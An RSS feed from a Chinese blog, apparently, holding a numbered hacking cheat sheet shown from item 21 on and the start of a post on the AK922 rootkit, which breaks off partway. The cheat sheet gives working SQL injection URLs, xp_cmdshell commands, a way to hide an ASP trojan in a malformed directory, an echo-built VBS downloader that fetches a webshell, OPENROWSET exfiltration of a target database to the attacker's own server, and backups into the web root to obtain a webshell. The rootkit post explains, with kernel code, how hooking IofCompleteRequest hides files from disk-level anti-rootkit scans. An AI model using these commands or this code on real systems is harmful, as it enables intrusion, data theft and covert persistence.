"C:\winnt\system32\inetsrv\asp.dll"<br><br>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\idq.dll" "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\inetsrv\httpext.dll" "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\inetsrv\httpodbc.dll" "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\inetsrv\ssinc.dll" "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\msw3prt.dll" "C:\<a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>windows</u></font></a>\system32\inetsrv\asp.dll"<br><br>查看是否成功：<br>c:\&gt;cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps <br><br>Microsoft (R) <a class=wordstyle href="http://www.hack58.net/" target=_blank><font color=#0000ff><u>Windows</u></font></a> Script Host Version 5.6<br>版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。<br>inprocessisapiapps &nbsp; &nbsp; &nbsp; : (LIST) (6 Items)<br>"C:\WINNT\system32\idq.dll"<br>"C:\WINNT\system32\inetsrv\httpext.dll"<br>"C:\WINNT\system32\inetsrv\httpodbc.dll"<br>"C:\WINNT\system32\inetsrv\ssinc.dll"<br>"C:\WINNT\system32\msw3prt.dll"<br>"c:\winnt\system32\inetsrv\asp.dll"<br><br>22、如何隐藏ASP木马：<br>建立非标准目录：mkdir images..\<br>拷贝ASP木马至目录：copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp<br>通过web访问ASP木马：<a href="http://ip/images../news.asp?action=login" target=_blank><font color=#0000ff><u>http://ip/images../news.asp?action=login</u></font></a><br>如何删除非标准目录：rmdir images..\ /s<br><br>23、去掉tenlnet的ntlm认证：<br>;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—<br><br>24、用echo写入文件下载脚本iget.vbs:<br>(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;c:\iget.vbs<br><br>(2)c:\&gt;cscript iget.vbs <a href="http://127.0.0.1/asp/dbm6.asp" target=_blank><font color=#0000ff><u>http://127.0.0.1/asp/dbm6.asp</u></font></a> dbm6.asp <br><br><br>25、手工建立IIS隐藏目录的方法：<br>? &nbsp; 查看本地虚拟目录列表：cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root <br>? &nbsp; 新建一个kiss目录：mkdir c:\asp\kiss <br>? &nbsp; 建立kiss虚拟目录：cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss" &nbsp; <br>? &nbsp; 为kiss目录加执行和写权限：<br>cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: <br>cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:<br>? &nbsp; ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false<br>? &nbsp; 访问：<a href="http://127.0.0.1/kiss/test.asp" target=_blank><font color=#0000ff><u>http://127.0.0.1/kiss/test.asp</u></font></a><br><br>26、使用openrowset()连回本地做测试：<br>SELECT a.*<br>FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',<br>'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a<br><br>SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',<br>'SELECT * FROM [dvbbs].[dbo].[dv_admin]')<br><br>27、获得主机名：<br><a href="http://www.xxxx.com/FullStory.asp?id=1" target=_blank><font color=#0000ff><u>http://www.xxxx.com/FullStory.asp?id=1</u></font></a> and 1=convert(int,@@servername)--<br>select convert(int,@@servername)<br>select @@servername<br><br>28、获得数据库用户名：<br><a href="http://www.xxxx.com/FullStory.asp?id=1" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1</u></font></a> and 1=convert(int,system_user)--<br><a href="http://www.19cn.com/showdetail.asp?id=49" target=_blank><font color=#0000ff><u>http://www.19cn.com/showdetail.asp?id=49</u></font></a> and user&gt;0<br>select user<br><br>29、普通用户获得WEBSHELL的方法之二：<br>? &nbsp; 打包：<br>EXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'<br>解包，可以用于得到webshell：<br>? &nbsp; EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'<br>? &nbsp; 读任意文件内容，要求有master的dbo权限：<br>EXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp' <br><br>30、sa 权限下已知web路径直接备份数据库到web路径下<br><br><a href="http://www.xxxx.com/FullStory.asp?id=1;backuup" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1;backuup</u></font></a> database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下，再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。<br><br>? &nbsp; 遍历系统的目录结构，分析结果并发现WEB虚拟目录，先创建一个临时表：temp<br><a href="http://www.xxxx.com/FullStory.asp?id=1;create" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1;create</u></font></a> table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--<br>? &nbsp; 　接下来：我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中：<br><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1;insert</u></font></a> temp exec master.dbo.xp_availablemedia;--<br>? &nbsp; 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中：<br><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1;insert</u></font></a> into temp(id) exec master.dbo.xp_subdirs 'c:\';--<br>? &nbsp; 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中：<br><a href="http://www.xxxx.com/FullStory.asp?id=1;insert" target=_blank><font color=#0000ff><u>http://www.XXXX.com/FullStory.asp?id=1;insert</u></font></a> into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录（文件夹）列表<br>? &nbsp; 如果我们需要查看某个文件的内容，可以通过执行xp_cmdsell：;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--<br>? &nbsp; 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如：bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' &nbsp; 浏览temp就可以看到index.asp文件的内容了！通过分析各种ASP文件，可以得到大量系统信息，WEB建设与管理信息，甚至可以得到SA帐号的连接密码。<br><br>31、一些sql中的扩展存储的总结:<br>xp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia <br>xp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups <br>xp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn <br>xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\' <br>xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp' <br>dbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp' <br>xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1 <br>xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains <br>xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule' <br>xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123 <br>dbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\'<br><br>32、<br>USE MASTER<br>GO<br>CREATE proc sp_MSforeachObject<br>@objectType int=1,<br>@command1 nvarchar(2000),<br>@replacechar nchar(1) = N'?',<br>@command2 nvarchar(2000) = null,<br>@command3 nvarchar(2000) = null,<br>@whereand nvarchar(2000) = null,<br>@precommand nvarchar(2000) = null,<br>@postcommand nvarchar(2000) = null<br>as<br>/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its <br>own result set */<br>/* @precommand and @postcommand may be used to force a single result set via a temp table. */<br>/* Preprocessor won't replace within quotes so have to use str(). */<br>declare @mscat nvarchar(12)<br>select @mscat = ltrim(str(convert(int, 0x0002)))<br>if (@precommand is not null)<br>exec(@precommand)<br>/* Defined @isobject for save object type */<br>Declare @isobject varchar(256)<br>select @isobject= case @objectType when 1 then 'IsUserTable'<br>when 2 then 'IsView'<br>when 3 then 'IsTrigger'<br>when 4 then 'IsProcedure'<br>when 5 then 'IsDefault'<br>when 6 then 'IsForeignKey'<br>when 7 then 'IsScalarFunction'<br>when 8 then 'IsInlineFunction'<br>when 9 then 'IsPrimaryKey'<br>when 10 then 'IsExtendedProc'<br>when 11 then 'IsReplProc'<br>when 12 then 'IsRule'<br>&nbsp; &nbsp; end<br>/* Create the select */<br>/* Use @isobject variable isstead of IsUserTable string */<br>EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' + <br>REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o '<br>+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category &amp; ' + @mscat + N' = 0 '<br>+ @whereand)<br>declare @retval int<br>select @retval = @@error<br>if (@retval = 0)<br>&nbsp; &nbsp; exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3<br>if (@retval = 0 and @postcommand is not null)<br>&nbsp; &nbsp; exec(@postcommand)<br>return @retval<br>GO<br><br><br>/*<br>1。获得所有的存储过程的脚本：<br>EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4<br>2。获得所有的视图的脚本：<br>EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2<br><br>EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1<br>EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2<br>EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=3<br>EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4<br>*/<br><br>33、DB_OWNER权限下的数据库备份方法<br>用openrowset吧。反连到自己的数据库机器，~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库，在查询分析那里执行<br>insert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;','select * from 你建立的表) select * from 对方的表—<br>要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id&gt;100<br>这样来弄吧<br>要是和WEB同台的话，直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大，超过2G的话SQL就超时了<br>如果是SA权限可以利用下面的两个ASP程序来备份数据库：<br><br>sqlbackup1.asp<br>&lt;HTML&gt;<br>&lt;HEAD&gt;<br>&lt;TITLE&gt;SQL Server 数据库的备份与恢复&lt;/TITLE&gt;<br>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br>&lt;/HEAD&gt;<br>&lt;BODY&gt;<br>&lt;form method="post" name=myform&gt;<br>选择操作：&lt;INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"&gt;&lt;label for=act_backup&gt;备份&lt;/label&gt;　<br>&lt;INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"&gt;&lt;label for=act_restore&gt;恢复&lt;/label&gt;<br>&lt;br&gt;数据库名：&lt;INPUT TYPE="text" NAME="databasename" value="&lt;%=request("databasename")%&gt;"&gt;<br>&lt;br&gt;文件路径：&lt;INPUT TYPE="text" NAME="bak_file" value="c:\1.exe"&gt;(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)&lt;br&gt;<br>&lt;input type="submit" value="确定"&gt;<br>&lt;/form&gt;<br>&lt;%<br>dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act<br>sqlserver = "localhost" 'sql服务器<br>sqlname = "sa" '用户名<br>sqlpassword = "数据库密码" '密码<br>sqlLoginTimeout = 15 '登陆超时<br>databasename = trim(request("databasename"))<br>bak_file = trim(request("bak_file"))<br>bak_file = replace(bak_file,"$1",databasename)<br>act = lcase(request("act"))<br>if databasename = "" then<br>response.write "input database name"<br>else<br>if act = "backup" then<br>Set srv=Server.CreateObject("SQLDMO.SQLServer")<br>srv.LoginTimeout = sqlLoginTimeout<br>srv.Connect sqlserver,sqlname, sqlpassword<br>Set bak = Server.CreateObject("SQLDMO.Backup")<br>bak.Database=databasename<br>bak.Devices=Files<br>bak.Files=bak_file<br>bak.SQLBackup srv<br>if err.number&gt;0 then<br>response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br>response.write err.description&amp;"&lt;/font&gt;"<br>end if<br>Response.write "&lt;font color=green&gt;备份成功!&lt;/font&gt;"<br>elseif act = "restore" then<br>'恢复时要在没有使用数据库时进行！<br>Set srv=Server.CreateObject("SQLDMO.SQLServer")<br>srv.LoginTimeout = sqlLoginTimeout<br>srv.Connect sqlserver,sqlname, sqlpassword<br>Set rest=Server.CreateObject("SQLDMO.Restore")<br>rest.Action=0 ' full db restore<br>rest.Database=databasename<br>rest.Devices=Files<br>rest.Files=bak_file<br>rest.ReplaceDatabase=True 'Force restore over existing database<br>if err.number&gt;0 then<br>response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br>response.write err.description&amp;"&lt;/font&gt;"<br>end if<br>rest.SQLRestore srv<br><br>Response.write "&lt;font color=green&gt;恢复成功!&lt;/font&gt;"<br>else<br>Response.write "&lt;font color=red&gt;没有选择操作&lt;/font&gt;"<br>end if<br>end if<br>%&gt;<br>&lt;/BODY&gt;<br>&lt;/HTML&gt;<br><br>sqlbackup2.asp<br>&lt;%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%&gt;<br>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" target=_blank><font color=#0000ff><u>http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</u></font></a>"&gt;<br>&lt;html xmlns="<a href="http://www.w3.org/1999/xhtml" target=_blank><font color=#0000ff><u>http://www.w3.org/1999/xhtml</u></font></a>"&gt;<br>&lt;head&gt;<br>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312" /&gt;<br>&lt;title&gt;采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;style&gt;<br>BODY { &nbsp; FONT-SIZE: 9pt; &nbsp; COLOR: #000000; &nbsp; FONT-FAMILY: "Courier New"; &nbsp; scrollbar-face-color:#E4E4F3; &nbsp; scrollbar-highlight-color:#FFFFFF; &nbsp; scrollbar-3dlight-color:#E4E4F3; &nbsp; scrollbar-darkshadow-color:#9C9CD3; &nbsp; scrollbar-shadow-color:#E4E4F3; &nbsp; scrollbar-arrow-color:#4444B3; &nbsp; scrollbar-track-color:#EFEFEF;}TABLE { &nbsp; FONT-SIZE: 9pt; &nbsp; FONT-FAMILY: "Courier New"; &nbsp; BORDER-COLLAPSE: collapse; &nbsp; border-top-width: 1px; &nbsp; border-right-width: 1px; &nbsp; border-bottom-width: 1px; &nbsp; border-left-width: 1px; &nbsp; border-top-style: solid; &nbsp; border-right-style: none; &nbsp; border-bottom-style: none; &nbsp; border-left-style: solid; &nbsp; border-top-color: #d8d8f0; &nbsp; border-right-color: #d8d8f0; &nbsp; border-bottom-color: #d8d8f0; &nbsp; border-left-color: #d8d8f0;}.tr { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; background-color: #e4e4f3; &nbsp; text-align: center;}.td { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; background-color: #f9f9fd;}.warningColor { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; color: #ff0000;}input {<br>font-family: "Courier New";<br>BORDER-TOP-WIDTH: 1px;<br>BORDER-LEFT-WIDTH: 1px;<br>FONT-SIZE: 12px;<br>BORDER-BOTTOM-WIDTH: 1px;<br>BORDER-RIGHT-WIDTH: 1px;<br>color: #000000;<br>}textarea { &nbsp; font-family: "Courier New"; &nbsp; BORDER-TOP-WIDTH: 1px; &nbsp; BORDER-LEFT-WIDTH: 1px; &nbsp; FONT-SIZE: 12px; &nbsp; BORDER-BOTTOM-WIDTH: 1px; &nbsp; BORDER-RIGHT-WIDTH: 1px; &nbsp; color: #000000;}.liuyes {<br>background-color: #CCCCFF;<br>}<br>A:link { &nbsp; FONT-SIZE: 9pt; &nbsp; COLOR: #000000; &nbsp; FONT-FAMILY: "Courier New"; &nbsp; TEXT-DECORATION: none;}tr { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; line-height: 18px;}td { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; border-top-width: 1px; &nbsp; border-right-width: 1px; &nbsp; border-bottom-width: 1px; &nbsp; border-left-width: 1px; &nbsp; border-top-style: none; &nbsp; border-right-style: solid; &nbsp; border-bottom-style: solid; &nbsp; border-left-style: none; &nbsp; border-top-color: #d8d8f0; &nbsp; border-right-color: #d8d8f0; &nbsp; border-bottom-color: #d8d8f0; &nbsp; border-left-color: #d8d8f0;}.trHead { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; background-color: #e4e4f3; &nbsp; line-height: 3px;}.inputLogin { &nbsp; font-family: "Courier New"; &nbsp; font-size: 9pt; &nbsp; border: 1px solid #d8d8f0; &nbsp; background-color: #f9f9fd; &nbsp; vertical-align: bottom;}&lt;/style&gt;<br>&lt;body&gt;<br>&lt;form method="post" name="myform" action="?action=backupdatabase"&gt;<br>&lt;table width="686" border="1" align="center"&gt;<br>&lt;tr&gt;<br>&lt;td width="613" height="30" align="center" bgcolor="#330066"&gt;&lt;font color="#FFFFFF"&gt;采飞扬ASP备份MSSQL数据库程序 V1.0 &lt;/font&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;选择操作：<br>&nbsp; &lt;input type="radio" name="act" id="act_backup"value="backup" /&gt;<br>&nbsp; &lt;label for=act_backup&gt;备份&lt;/label&gt;<br>&nbsp; &lt;input type="radio" name="act" id="act_restore" value="restore" /&gt;<br>&nbsp; &lt;label for=act_restore&gt;恢复&lt;/label&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;&lt;label&gt;SQL服务器:<br>&nbsp; &lt;input type="text" name="sqlserver" value="localhost" /&gt;<br>&lt;/label&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;&lt;label&gt;用户名:<br>&nbsp; &lt;input name="sqlname" type="text" value="sa" /&gt;<br>密 码:<br>&lt;input type="text" name="sqlpassword" /&gt;<br>&lt;/label&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;&lt;label&gt;数据库名：<br>&nbsp; &lt;input type="text" name="databasename" value="&lt;%=request("databasename")%&gt;" /&gt;<br>&lt;/label&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;文件路径：<br>&nbsp; &lt;input name="bak_file" type="text" value="&lt;% =server.MapPath("\")&amp;"\"&amp;"liuyes.bak"%&gt;" size="60" /&gt;<br>(备份或恢复的文件路径)&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;&lt;% Response.write "本文件绝对路径:" %&gt;<br>&nbsp; &lt;font color="#FF0000"&gt;<br>&nbsp; &lt;% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %&gt;<br>&nbsp; &lt;/font&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;tr&gt;<br>&lt;td&gt;&lt;input name=submit1 type="submit" class="liuyes" id=submit1 size="10" value="确 定" /&gt;<br>&nbsp; &nbsp; &lt;input name="Submit" type="reset" class="liuyes" size="10" value="重 置" /&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt;<br>&lt;/form&gt; <br>&lt;table width="686" border="1" align="center"&gt;<br>&lt;tr&gt;<br>&lt;td&gt;提示信息:&lt;% <br>if request("action")="" then &nbsp; <br>response.write "&lt;font color=#ff0000&gt;不用我多说什么了吧！&lt;/font&gt;"<br>end if<br>'SQL Server 数据库的备份与恢复! <br>if request("action")="backupdatabase" Then <br>dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act <br>sqlserver = trim(request("sqlserver"))<br>sqlname = trim(request("sqlname"))<br>sqlpassword =trim(request("sqlpassword"))<br>sqlLoginTimeout = 15<br>databasename = trim(request("databasename")) <br>bak_file = trim(request("bak_file")) <br>bak_file = replace(bak_file,"$1",databasename)<br>act = lcase(request("act"))<br>if databasename = "" then<br>response.write "&lt;font color=#ff0000&gt;没有输入数据库名称!&lt;/font&gt;"<br>else<br>if act = "backup" then<br>Set srv=Server.CreateObject("SQLDMO.SQLServer")<br>srv.LoginTimeout = sqlLoginTimeout<br>srv.Connect sqlserver,sqlname, sqlpassword<br>Set bak = Server.CreateObject("SQLDMO.Backup")<br>bak.Database=databasename<br>bak.Devices=Files <br>bak.Action &nbsp; = 0<br>bak.Initialize &nbsp; = 1<br>'bak.Replace &nbsp; = True<br>bak.Files=bak_file <br>bak.SQLBackup srv<br>if err.number&gt;0 then <br>response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;" <br>response.write err.description&amp;"&lt;/font&gt;" <br>end if<br>Response.write "&lt;font color=green&gt;备份成功!&lt;/font&gt;" <br>elseif act="restore" then<br>'恢复时要在没有使用数据库时进行！ <br>Set srv=Server.CreateObject("SQLDMO.SQLServer")<br>srv.LoginTimeout = sqlLoginTimeout<br>srv.Connect sqlserver,sqlname, sqlpassword<br>Set rest=Server.CreateObject("SQLDMO.Restore")<br>rest.Action=0 ' full db restore <br>rest.Database=databasename <br>rest.Devices=Files <br>rest.Files=bak_file <br>rest.ReplaceDatabase=True 'Force restore over existing database <br>if err.number&gt;0 then<br>response.write err.number&amp;"&lt;font color=red&gt;&lt;br&gt;"<br>response.write err.description&amp;"&lt;/font&gt;"<br>end if<br>rest.SQLRestore srv<br>Response.write "&lt;font color=green&gt;恢复成功!&lt;/font&gt;"<br>else <br>Response.write "&lt;font color=red&gt;请选择备份或恢复!&lt;/font&gt;"<br>end if <br>end if <br>end if<br>%&gt;&lt;/td&gt;<br>&lt;/tr&gt;<br>&lt;/table&gt; <br>&lt;/body&gt;<br>&lt;/html&gt;<br></div>
<p>&nbsp;<br></p>
<img src ="http://www.cppblog.com/elva/aggbug/34820.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-22 09:41 <a href="http://www.cppblog.com/elva/archive/2007/10/22/34820.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>AK922: 突破磁盘低级检测实现文件隐藏</title><link>http://www.cppblog.com/elva/archive/2007/10/12/34018.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Fri, 12 Oct 2007 03:58:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/12/34018.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/34018.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/12/34018.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/34018.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/34018.html</trackback:ping><description><![CDATA[AK922: 突破磁盘低级检测实现文件隐藏<br>作者：Azy<br>email: Azy000@gmail.com<br>完成于：2007-08-08<br><br>&nbsp;&nbsp; 目前，一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法：第一种是文件系统层的检测，属于这一类的有icesword，darkspy，gmer等。第二种便是磁盘级别的低级检测（Disk Low-Level Scanning），属于这一类的ark也很多，典型代表为rootkit unhooker，filereg（is的插件），rootkit revealer，blacklight等。当然，还有一些工具，它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。<br>&nbsp;&nbsp; 驱动也好，应用也罢，说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中（fastfat.sys/ntfs.sys），第二类被发送到磁盘驱动（disk.sys），而后IRP便会携带相应的文件信息返回，这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层，IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息，所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法，当然，这也是在AK922中使用的。<br>&nbsp;&nbsp; 对于要实现文件隐藏的RK，与其说是&#8220;绕过&#8221;，还不如说是&#8220;拦截&#8221; -- 挂钩某些内核函数调用，以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。<br>&nbsp;&nbsp; AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思，因为它不仅是一个几乎在任何驱动中都要调用的函数，而且参数中正好含有IRP。有了IRP，就有了一切。这些特性决定了它很适合做我们的&#8220;傀儡&#8221;。但更重要的是，一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕，IRP中相关域已经填充了内容，这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。<br>&nbsp;&nbsp; 下面就着重说一下工作流程：<br>&nbsp;&nbsp; 首先，判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象，因为这才是我们要处理的核心IRP，所有ark直接发送到Disk层的IRP在这里都可以被拦截到。<br>&nbsp;&nbsp; 接下来的处理要特别注意，进入到这里时IRQL是在APC_LEVEL以上的，因此我们不能碰任何IRP中的用户模式缓冲区，一碰极有可能蓝，也就是说我们不能直接处理相关磁盘扇区信息，而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外，由于Disk层在设备堆栈中处于靠下的位置，大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了，这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针，为了操作用户模式缓冲区，必须调用KeAttachProcess切到IRP发起者的上下文环境中，而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上，做的事越少越好。<br>&nbsp;&nbsp; 刚开始我还分两种情况进行处理：因为并不是所有的IRP都不处在原始上下文中，比如icesword发的IRP到这里还是处在icesword.exe进程中的，这时我认为可以不用排队工作项，这样就可以节省很多系统资源，提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区，但这根本行不通。驱动很不稳定，不一会就蓝了。故索性老老实实地排队去了，然后再分情况处理。代码如下：<br><br>// 处理Disk Low-Level Scanning<br>if(irpSp-&gt;MajorFunction == IRP_MJ_READ &amp;&amp; IsDiskDrxDevice(irpSp-&gt;DeviceObject) &amp;&amp; irpSp-&gt;Parameters.Read.Length != 0)<br>{&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;orgnThread = Irp-&gt;Tail.Overlay.Thread;<br>&nbsp;&nbsp;&nbsp;&nbsp;orgnProcess = IoThreadToProcess(orgnThread);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if(Irp-&gt;MdlAddress)<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuffer = (PVOID)((ULONG)Irp-&gt;MdlAddress-&gt;StartVa + Irp-&gt;MdlAddress-&gt;ByteOffset);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 